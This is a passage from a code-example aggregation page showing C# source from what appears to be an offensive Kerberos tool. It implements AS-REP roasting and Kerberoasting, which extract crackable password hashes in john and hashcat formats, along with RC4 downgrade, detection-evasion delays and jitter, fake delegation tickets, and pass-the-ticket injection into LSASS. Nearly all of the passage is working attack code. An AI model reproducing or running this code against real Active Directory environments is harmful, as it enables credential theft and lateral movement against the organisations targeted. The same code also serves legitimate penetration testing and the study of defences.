                    userSearcher.PageSize = 1000;
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error creating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for AS-REP roastable users");
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for AS-REP roastable users", dirPath);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return;
                }

                try
                {
                    string userSearchFilter = "";

                    if (String.IsNullOrEmpty(userName))
                    {
                        userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                    }
                    else
                    {
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                    }
                    if (!String.IsNullOrEmpty(ldapFilter))
                    {
                        userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                    }
                    userSearcher.Filter = userSearchFilter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return;
                }

                try
                {
                    SearchResultCollection users = userSearcher.FindAll();

                    if (users.Count == 0)
                    {
                        Console.WriteLine("[X] No users found to AS-REP roast!");
                    }

                    foreach (SearchResult user in users)
                    {
                        string samAccountName    = user.Properties["samAccountName"][0].ToString();
                        string distinguishedName = user.Properties["distinguishedName"][0].ToString();
                        Console.WriteLine("[*] SamAccountName         : {0}", samAccountName);
                        Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);

                        GetASRepHash(samAccountName, domain, domainController, format, outFile);
                    }
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex.Message);
                    }
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #7
0
        public static List <IDictionary <string, Object> > GetLdapQuery(System.Net.NetworkCredential cred, string OUName, string domainController, string domain, string filter, bool ldaps = false)
        {
            var ActiveDirectoryObjects = new List <IDictionary <string, Object> >();

            if (String.IsNullOrEmpty(domainController))
            {
                domainController = Networking.GetDCName(domain); //if domain is null, this will try to find a DC in current user's domain
            }
            if (String.IsNullOrEmpty(domainController))
            {
                Console.WriteLine("[X] Unable to retrieve the domain information, try again with '/domain'.");
                return(null);
            }

            if (ldaps)
            {
                LdapConnection           ldapConnection = null;
                SearchResponse           response       = null;
                List <SearchResultEntry> result         = new List <SearchResultEntry>();
                // perhaps make this dynamic?
                int maxResultsToRequest = 1000;

                try
                {
                    var serverId = new LdapDirectoryIdentifier(domainController, 636);
                    ldapConnection = new LdapConnection(serverId, cred);
                    ldapConnection.SessionOptions.SecureSocketLayer        = true;
                    ldapConnection.SessionOptions.VerifyServerCertificate += delegate { return(true); };
                    ldapConnection.Bind();
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("[X] Error binding to LDAP server: {0}", ex.Message);
                    }
                    return(null);
                }

                if (String.IsNullOrEmpty(OUName))
                {
                    OUName = String.Format("DC={0}", domain.Replace(".", ",DC="));
                }

                try
                {
                    Console.WriteLine("[*] Searching path '{0}' for '{1}'", OUName, filter);
                    PageResultRequestControl  pageRequestControl = new PageResultRequestControl(maxResultsToRequest);
                    PageResultResponseControl pageResponseControl;
                    SearchRequest             request = new SearchRequest(OUName, filter, SearchScope.Subtree, null);
                    request.Controls.Add(pageRequestControl);
                    while (true)
                    {
                        response = (SearchResponse)ldapConnection.SendRequest(request);
                        foreach (SearchResultEntry entry in response.Entries)
                        {
                            result.Add(entry);
                        }
                        pageResponseControl = (PageResultResponseControl)response.Controls[0];
                        if (pageResponseControl.Cookie.Length == 0)
                        {
                            break;
                        }
                        pageRequestControl.Cookie = pageResponseControl.Cookie;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Error executing LDAP query: {0}", ex.Message);
                }

                if (response.ResultCode == ResultCode.Success)
                {
                    ActiveDirectoryObjects = Helpers.GetADObjects(result);
                }
            }
            else
            {
                DirectoryEntry    directoryObject = null;
                DirectorySearcher searcher        = null;
                try
                {
                    directoryObject = Networking.GetLdapSearchRoot(cred, OUName, domainController, domain);
                    searcher        = new DirectorySearcher(directoryObject);
                    // enable LDAP paged search to get all results, by pages of 1000 items
                    searcher.PageSize = 1000;
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("[X] Error creating the domain searcher: {0}", ex.Message);
                    }
                    return(null);
                }

                // check to ensure that the bind worked correctly
                try
                {
                    string dirPath = directoryObject.Path;
                    if (String.IsNullOrEmpty(dirPath))
                    {
                        Console.WriteLine("[*] Searching the current domain for '{0}'", filter);
                    }
                    else
                    {
                        Console.WriteLine("[*] Searching path '{0}' for '{1}'", dirPath, filter);
                    }
                }
                catch (DirectoryServicesCOMException ex)
                {
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher for bind path \"{0}\" : {1}", OUName, ex.Message);
                    }
                    else
                    {
                        Console.WriteLine("\r\n[X] Error validating the domain searcher: {0}", ex.Message);
                    }
                    return(null);
                }

                try
                {
                    searcher.Filter = filter;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Error settings the domain searcher filter: {0}", ex.InnerException.Message);
                    return(null);
                }

                SearchResultCollection results = null;

                try
                {
                    results = searcher.FindAll();

                    if (results.Count == 0)
                    {
                        Console.WriteLine("[X] No results returned by LDAP!");
                        return(null);
                    }
                }
                catch (Exception ex)
                {
                    if (ex.InnerException != null)
                    {
                        Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.InnerException.Message);
                    }
                    else
                    {
                        Console.WriteLine("[X] Error executing the domain searcher: {0}", ex.Message);
                    }
                    return(null);
                }
                ActiveDirectoryObjects = Helpers.GetADObjects(results);
            }

            return(ActiveDirectoryObjects);
        }
Example #8
0
        public static void ASRepRoast(string domain, string userName = "", string OUName = "", string domainController = "", string format = "john", System.Net.NetworkCredential cred = null, string outFile = "", string ldapFilter = "", bool ldaps = false)
        {
            if (!String.IsNullOrEmpty(userName))
            {
                Console.WriteLine("[*] Target User            : {0}", userName);
            }
            if (!String.IsNullOrEmpty(OUName))
            {
                Console.WriteLine("[*] Target OU              : {0}", OUName);
            }
            if (!String.IsNullOrEmpty(domain))
            {
                Console.WriteLine("[*] Target Domain          : {0}", domain);
            }
            if (!String.IsNullOrEmpty(domainController))
            {
                Console.WriteLine("[*] Target DC              : {0}", domainController);
            }

            Console.WriteLine();

            if (!String.IsNullOrEmpty(userName) && !String.IsNullOrEmpty(domain) && !String.IsNullOrEmpty(domainController))
            {
                // if we have a username, domain, and DC specified, we don't need to search for users and can roast directly
                GetASRepHash(userName, domain, domainController, format, outFile);
            }
            else
            {
                string userSearchFilter = "";

                if (String.IsNullOrEmpty(userName))
                {
                    userSearchFilter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))";
                }
                else
                {
                    userSearchFilter = String.Format("(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName={0}))", userName);
                }
                if (!String.IsNullOrEmpty(ldapFilter))
                {
                    userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                }

                if (String.IsNullOrEmpty(domain))
                {
                    domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;
                }
                List <IDictionary <string, Object> > users = Networking.GetLdapQuery(cred, OUName, domainController, domain, userSearchFilter, ldaps);

                if (users == null)
                {
                    Console.WriteLine("[X] Error during executing the LDAP query.");
                    return;
                }
                if (users.Count == 0)
                {
                    Console.WriteLine("[X] No users found to AS-REP roast!");
                }

                foreach (IDictionary <string, Object> user in users)
                {
                    string samAccountName    = (string)user["samaccountname"];
                    string distinguishedName = (string)user["distinguishedname"];
                    Console.WriteLine("[*] SamAccountName         : {0}", samAccountName);
                    Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);

                    GetASRepHash(samAccountName, domain, domainController, format, outFile);
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #9
0
        public static void Kerberoast(string spn = "", List <string> spns = null, string userName = "", string OUName = "", string domain = "", string dc = "", System.Net.NetworkCredential cred = null, string outFile = "", bool simpleOutput = false, KRB_CRED TGT = null, bool useTGTdeleg = false, string supportedEType = "rc4", string pwdSetAfter = "", string pwdSetBefore = "", string ldapFilter = "", int resultLimit = 0, int delay = 0, int jitter = 0, bool userStats = false, bool enterprise = false, bool autoenterprise = false, bool ldaps = false)
        {
            if (userStats)
            {
                Console.WriteLine("[*] Listing statistics about target users, no ticket requests being performed.");
            }
            else if (TGT != null)
            {
                Console.WriteLine("[*] Using a TGT /ticket to request service tickets");
            }
            else if (useTGTdeleg || String.Equals(supportedEType, "rc4opsec"))
            {
                Console.WriteLine("[*] Using 'tgtdeleg' to request a TGT for the current user");
                byte[] delegTGTbytes = LSA.RequestFakeDelegTicket("", false);
                TGT = new KRB_CRED(delegTGTbytes);
                Console.WriteLine("[*] RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else");
            }
            else
            {
                Console.WriteLine("[*] NOTICE: AES hashes will be returned for AES-enabled accounts.");
                Console.WriteLine("[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.\r\n");
            }

            if ((enterprise) && ((TGT == null) || ((String.IsNullOrEmpty(spn)) && (spns != null) && (spns.Count == 0))))
            {
                Console.WriteLine("[X] To use Enterprise Principals, /spn or /spns has to be specified, along with either /ticket or /tgtdeleg");
                return;
            }

            if (delay != 0)
            {
                Console.WriteLine($"[*] Using a delay of {delay} milliseconds between TGS requests.");
                if (jitter != 0)
                {
                    Console.WriteLine($"[*] Using a jitter of {jitter}% between TGS requests.");
                }
                Console.WriteLine();
            }

            if (!String.IsNullOrEmpty(spn))
            {
                Console.WriteLine("\r\n[*] Target SPN             : {0}", spn);

                if (TGT != null)
                {
                    // if a TGT .kirbi is supplied, use that for the request
                    //      this could be a passed TGT or if TGT delegation is specified
                    GetTGSRepHash(TGT, spn, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
                }
                else
                {
                    // otherwise use the KerberosRequestorSecurityToken method
                    GetTGSRepHash(spn, "USER", "DISTINGUISHEDNAME", cred, outFile);
                }
            }
            else if ((spns != null) && (spns.Count != 0))
            {
                foreach (string s in spns)
                {
                    Console.WriteLine("\r\n[*] Target SPN             : {0}", s);

                    if (TGT != null)
                    {
                        // if a TGT .kirbi is supplied, use that for the request
                        //      this could be a passed TGT or if TGT delegation is specified
                        GetTGSRepHash(TGT, s, "USER", "DISTINGUISHEDNAME", outFile, simpleOutput, enterprise, dc, Interop.KERB_ETYPE.rc4_hmac);
                    }
                    else
                    {
                        // otherwise use the KerberosRequestorSecurityToken method
                        GetTGSRepHash(s, "USER", "DISTINGUISHEDNAME", cred, outFile);
                    }
                }
            }
            else
            {
                if ((!String.IsNullOrEmpty(domain)) || (!String.IsNullOrEmpty(OUName)) || (!String.IsNullOrEmpty(userName)))
                {
                    if (!String.IsNullOrEmpty(userName))
                    {
                        if (userName.Contains(","))
                        {
                            Console.WriteLine("[*] Target Users           : {0}", userName);
                        }
                        else
                        {
                            Console.WriteLine("[*] Target User            : {0}", userName);
                        }
                    }
                    if (!String.IsNullOrEmpty(domain))
                    {
                        Console.WriteLine("[*] Target Domain          : {0}", domain);
                    }
                    if (!String.IsNullOrEmpty(OUName))
                    {
                        Console.WriteLine("[*] Target OU              : {0}", OUName);
                    }
                }

                // inject ticket for LDAP search if supplied
                if (TGT != null)
                {
                    byte[] kirbiBytes   = null;
                    string ticketDomain = TGT.enc_part.ticket_info[0].prealm;

                    if (String.IsNullOrEmpty(domain))
                    {
                        // if a domain isn't specified, use the domain from the referral
                        domain = ticketDomain;
                    }

                    // referral TGT is in use, we need a service ticket for LDAP on the DC to perform the domain searcher
                    if (ticketDomain != domain)
                    {
                        if (String.IsNullOrEmpty(dc))
                        {
                            dc = Networking.GetDCName(domain);
                        }

                        string             tgtUserName = TGT.enc_part.ticket_info[0].pname.name_string[0];
                        Ticket             ticket      = TGT.tickets[0];
                        byte[]             clientKey   = TGT.enc_part.ticket_info[0].key.keyvalue;
                        Interop.KERB_ETYPE etype       = (Interop.KERB_ETYPE)TGT.enc_part.ticket_info[0].key.keytype;

                        // check if we've been given an IP for the DC, we'll need the name for the LDAP service ticket
                        Match match = Regex.Match(dc, @"([0-9A-Fa-f]{1,4}:){7}[0-9A-Fa-f]{1,4}|(\d{1,3}\.){3}\d{1,3}");
                        if (match.Success)
                        {
                            System.Net.IPAddress   dcIP   = System.Net.IPAddress.Parse(dc);
                            System.Net.IPHostEntry dcInfo = System.Net.Dns.GetHostEntry(dcIP);
                            dc = dcInfo.HostName;
                        }

                        // request a service tickt for LDAP on the target DC
                        kirbiBytes = Ask.TGS(tgtUserName, ticketDomain, ticket, clientKey, etype, string.Format("ldap/{0}", dc), etype, null, false, dc, false, enterprise, false);
                    }
                    // otherwise inject the TGT to perform the domain searcher
                    else
                    {
                        kirbiBytes = TGT.Encode().Encode();
                    }
                    LSA.ImportTicket(kirbiBytes, new LUID());
                }

                // build LDAP query
                string userFilter = "";

                if (!String.IsNullOrEmpty(userName))
                {
                    if (userName.Contains(","))
                    {
                        // searching for multiple specified users, ensuring they're not disabled accounts
                        string userPart = "";
                        foreach (string user in userName.Split(','))
                        {
                            userPart += String.Format("(samAccountName={0})", user);
                        }
                        userFilter = String.Format("(&(|{0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))", userPart);
                    }
                    else
                    {
                        // searching for a specified user, ensuring it's not a disabled account
                        userFilter = String.Format("(samAccountName={0})(!(UserAccountControl:1.2.840.113556.1.4.803:=2))", userName);
                    }
                }
                else
                {
                    // if no user specified, filter out the krbtgt account and disabled accounts
                    userFilter = "(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))";
                }

                string encFilter = "";
                if (String.Equals(supportedEType, "rc4opsec"))
                {
                    // "opsec" RC4, meaning don't RC4 roast accounts that support AES
                    Console.WriteLine("[*] Searching for accounts that only support RC4_HMAC, no AES");
                    encFilter = "(!msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                }
                else if (String.Equals(supportedEType, "aes"))
                {
                    // msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24 ->  supported etypes includes AES128/256
                    Console.WriteLine("[*] Searching for accounts that support AES128_CTS_HMAC_SHA1_96/AES256_CTS_HMAC_SHA1_96");
                    encFilter = "(msds-supportedencryptiontypes:1.2.840.113556.1.4.804:=24)";
                }

                // Note: I originally thought that if enctypes included AES but DIDN'T include RC4,
                //       then RC4 tickets would NOT be returned, so the original filter was:
                //  !msds-supportedencryptiontypes=*                        ->  null supported etypes, so RC4
                //  msds-supportedencryptiontypes=0                         ->  no supported etypes specified, so RC4
                //  msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4 ->  supported etypes includes RC4
                //  userSearcher.Filter = "(&(samAccountType=805306368)(serviceprincipalname=*)(!samAccountName=krbtgt)(|(!msds-supportedencryptiontypes=*)(msds-supportedencryptiontypes=0)(msds-supportedencryptiontypes:1.2.840.113556.1.4.803:=4)))";

                //  But apparently Microsoft is silly and doesn't really follow their own docs and RC4 is always returned regardless ¯\_(ツ)_/¯
                //      so this fine-grained filtering is not needed

                string userSearchFilter = "";
                if (!(String.IsNullOrEmpty(pwdSetAfter) & String.IsNullOrEmpty(pwdSetBefore)))
                {
                    if (String.IsNullOrEmpty(pwdSetAfter))
                    {
                        pwdSetAfter = "01-01-1601";
                    }
                    if (String.IsNullOrEmpty(pwdSetBefore))
                    {
                        pwdSetBefore = "01-01-2100";
                    }

                    Console.WriteLine("[*] Searching for accounts with lastpwdset from {0} to {1}", pwdSetAfter, pwdSetBefore);

                    try
                    {
                        DateTime timeFromConverted  = DateTime.ParseExact(pwdSetAfter, "MM-dd-yyyy", null);
                        DateTime timeUntilConverted = DateTime.ParseExact(pwdSetBefore, "MM-dd-yyyy", null);
                        string   timePeriod         = "(pwdlastset>=" + timeFromConverted.ToFileTime() + ")(pwdlastset<=" + timeUntilConverted.ToFileTime() + ")";
                        userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1}{2})", userFilter, encFilter, timePeriod);
                    }
                    catch
                    {
                        Console.WriteLine("\r\n[X] Error parsing /pwdsetbefore or /pwdsetafter, please use the format 'MM-dd-yyyy'");
                        return;
                    }
                }
                else
                {
                    userSearchFilter = String.Format("(&(samAccountType=805306368)(servicePrincipalName=*){0}{1})", userFilter, encFilter);
                }

                if (!String.IsNullOrEmpty(ldapFilter))
                {
                    userSearchFilter = String.Format("(&{0}({1}))", userSearchFilter, ldapFilter);
                }

                List <IDictionary <string, Object> > users = Networking.GetLdapQuery(cred, OUName, dc, domain, userSearchFilter, ldaps);
                if (users == null)
                {
                    Console.WriteLine("[X] LDAP query failed, try specifying more domain information or specific SPNs.");
                    return;
                }

                try
                {
                    if (users.Count == 0)
                    {
                        Console.WriteLine("\r\n[X] No users found to Kerberoast!");
                    }
                    else
                    {
                        Console.WriteLine("\r\n[*] Total kerberoastable users : {0}\r\n", users.Count);
                    }

                    // used to keep track of user encryption types
                    SortedDictionary <Interop.SUPPORTED_ETYPE, int> userETypes = new SortedDictionary <Interop.SUPPORTED_ETYPE, int>();
                    // used to keep track of years that users had passwords last set in
                    SortedDictionary <int, int> userPWDsetYears = new SortedDictionary <int, int>();

                    foreach (IDictionary <string, Object> user in users)
                    {
                        string samAccountName       = (string)user["samaccountname"];
                        string distinguishedName    = (string)user["distinguishedname"];
                        string servicePrincipalName = ((string[])user["serviceprincipalname"])[0];


                        DateTime?pwdLastSet = null;
                        if (user.ContainsKey("pwdlastset"))
                        {
                            pwdLastSet = ((DateTime)user["pwdlastset"]).ToLocalTime();
                        }

                        Interop.SUPPORTED_ETYPE supportedETypes = (Interop.SUPPORTED_ETYPE) 0;
                        if (user.ContainsKey("msds-supportedencryptiontypes"))
                        {
                            supportedETypes = (Interop.SUPPORTED_ETYPE)(int) user["msds-supportedencryptiontypes"];
                        }

                        if (!userETypes.ContainsKey(supportedETypes))
                        {
                            userETypes[supportedETypes] = 1;
                        }
                        else
                        {
                            userETypes[supportedETypes] = userETypes[supportedETypes] + 1;
                        }

                        if (pwdLastSet == null)
                        {
                            // pwdLastSet == null with new accounts and
                            // when a password is set to never expire
                            if (!userPWDsetYears.ContainsKey(-1))
                            {
                                userPWDsetYears[-1] = 1;
                            }
                            else
                            {
                                userPWDsetYears[-1] += 1;
                            }
                        }
                        else
                        {
                            int year = pwdLastSet.Value.Year;
                            if (!userPWDsetYears.ContainsKey(year))
                            {
                                userPWDsetYears[year] = 1;
                            }
                            else
                            {
                                userPWDsetYears[year] += 1;
                            }
                        }

                        if (!userStats)
                        {
                            if (!simpleOutput)
                            {
                                Console.WriteLine("\r\n[*] SamAccountName         : {0}", samAccountName);
                                Console.WriteLine("[*] DistinguishedName      : {0}", distinguishedName);
                                Console.WriteLine("[*] ServicePrincipalName   : {0}", servicePrincipalName);
                                Console.WriteLine("[*] PwdLastSet             : {0}", pwdLastSet);
                                Console.WriteLine("[*] Supported ETypes       : {0}", supportedETypes);
                            }

                            if ((!String.IsNullOrEmpty(domain)) && (TGT == null))
                            {
                                servicePrincipalName = String.Format("{0}@{1}", servicePrincipalName, domain);
                            }
                            if (TGT != null)
                            {
                                Interop.KERB_ETYPE etype = Interop.KERB_ETYPE.subkey_keymaterial;
                                // if a TGT .kirbi is supplied, use that for the request
                                //      this could be a passed TGT or if TGT delegation is specified

                                if (String.Equals(supportedEType, "rc4") &&
                                    (
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES128_CTS_HMAC_SHA1_96) ||
                                        ((supportedETypes & Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96) == Interop.SUPPORTED_ETYPE.AES256_CTS_HMAC_SHA1_96)
                                    )
                                    )
                                {
                                    // if we're roasting RC4, but AES is supported AND we have a TGT, specify RC4
                                    etype = Interop.KERB_ETYPE.rc4_hmac;
                                }

                                bool result = GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, enterprise, dc, etype);
                                Helpers.RandomDelayWithJitter(delay, jitter);
                                if (!result && autoenterprise)
                                {
                                    Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
                                    servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
                                    GetTGSRepHash(TGT, servicePrincipalName, samAccountName, distinguishedName, outFile, simpleOutput, true, dc, etype);
                                    Helpers.RandomDelayWithJitter(delay, jitter);
                                }
                            }
                            else
                            {
                                // otherwise use the KerberosRequestorSecurityToken method
                                bool result = GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
                                Helpers.RandomDelayWithJitter(delay, jitter);
                                if (!result && autoenterprise)
                                {
                                    Console.WriteLine("\r\n[-] Retrieving service ticket with SPN failed and '/autoenterprise' passed, retrying with the enterprise principal");
                                    servicePrincipalName = String.Format("{0}@{1}", samAccountName, domain);
                                    GetTGSRepHash(servicePrincipalName, samAccountName, distinguishedName, cred, outFile, simpleOutput);
                                    Helpers.RandomDelayWithJitter(delay, jitter);
                                }
                            }
                        }
                    }

                    if (userStats)
                    {
                        var eTypeTable      = new ConsoleTable("Supported Encryption Type", "Count");
                        var pwdLastSetTable = new ConsoleTable("Password Last Set Year", "Count");
                        Console.WriteLine();

                        // display stats about the users found
                        foreach (var item in userETypes)
                        {
                            eTypeTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        eTypeTable.Write();

                        foreach (var item in userPWDsetYears)
                        {
                            pwdLastSetTable.AddRow(item.Key.ToString(), item.Value.ToString());
                        }
                        pwdLastSetTable.Write();
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine("\r\n[X] Error executing the domain searcher: {0}", ex);
                    return;
                }
            }

            if (!String.IsNullOrEmpty(outFile))
            {
                Console.WriteLine("[*] Roasted hashes written to : {0}", Path.GetFullPath(outFile));
            }
        }
Example #10
0
        public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, bool ptt, string domainController = "", uint luid = 0)
        {
            Console.WriteLine("[*] Action: Ask TGT\r\n");

            // grab the default DC if none was supplied
            if (String.IsNullOrEmpty(domainController))
            {
                domainController = Networking.GetDCName();
                if (String.IsNullOrEmpty(domainController))
                {
                    return(null);
                }
            }

            Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

            if (luid != 0)
            {
                Console.WriteLine("[*] Target LUID : {0}", luid);
            }

            System.Net.IPAddress[] dcIP = System.Net.Dns.GetHostAddresses(domainController);
            Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);

            Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);

            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);

            byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
            if (response == null)
            {
                return(null);
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                Console.WriteLine("[+] TGT request successful!");

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);

                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);

                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;

                if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    Console.WriteLine("\r\n[X] Encryption type \"{0}\" not currently supported", etype);
                    return(null);
                }


                AsnElt ae = AsnElt.Decode(outBytes, false);

                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                string kirbiString = Convert.ToBase64String(kirbiBytes);

                Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                // display the .kirbi base64, columns of 80 chararacters
                foreach (string line in Helpers.Split(kirbiString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }

                if (ptt || (luid != 0))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
                return(null);
            }
            else
            {
                Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
                return(null);
            }
        }
Example #11
0
        public static void GetASRepHash(string userName, string domain, string domainController = "", string format = "")
        {
            // roast AS-REPs for users without pre-authentication enabled

            Console.WriteLine("[*] Action: AS-REP Roasting");

            // grab the default DC if none was supplied
            if (String.IsNullOrEmpty(domainController))
            {
                domainController = Networking.GetDCName();
                if (String.IsNullOrEmpty(domainController))
                {
                    Console.WriteLine("[X] Error retrieving the current domain controller.");
                    return;
                }
            }

            System.Net.IPAddress[] dcIP = null;

            try
            {
                dcIP = System.Net.Dns.GetHostAddresses(domainController);
            }
            catch (Exception e) {
                Console.WriteLine("[X] Error retrieving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
                return;
            }
            Console.WriteLine("\r\n[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);

            Console.WriteLine("[*] Building AS-REQ (w/o preauth) for: '{0}\\{1}'", domain, userName);
            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, Interop.KERB_ETYPE.rc4_hmac);

            byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, reqBytes);
            if (response == null)
            {
                return;
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                Console.WriteLine("[+] AS-REQ w/o preauth successful!");

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(response);

                // output the hash of the encrypted KERB-CRED in a crackable hash form
                string repHash = BitConverter.ToString(rep.enc_part.cipher).Replace("-", string.Empty);
                repHash = repHash.Insert(32, "$");

                string hashString = "";
                if (format == "john")
                {
                    hashString = String.Format("$krb5asrep${0}@{1}:{2}", userName, domain, repHash);
                }
                else
                {
                    // eventual hashcat format
                    hashString = String.Format("$krb5asrep${0}$*{1}${2}*${3}${4}", (int)Interop.KERB_ETYPE.rc4_hmac, userName, domain, repHash.Substring(0, 32), repHash.Substring(32));
                }

                Console.WriteLine("[*] AS-REP hash:\r\n");

                // display the base64 of a hash, columns of 80 chararacters
                foreach (string line in Helpers.Split(hashString, 80))
                {
                    Console.WriteLine("      {0}", line);
                }
            }
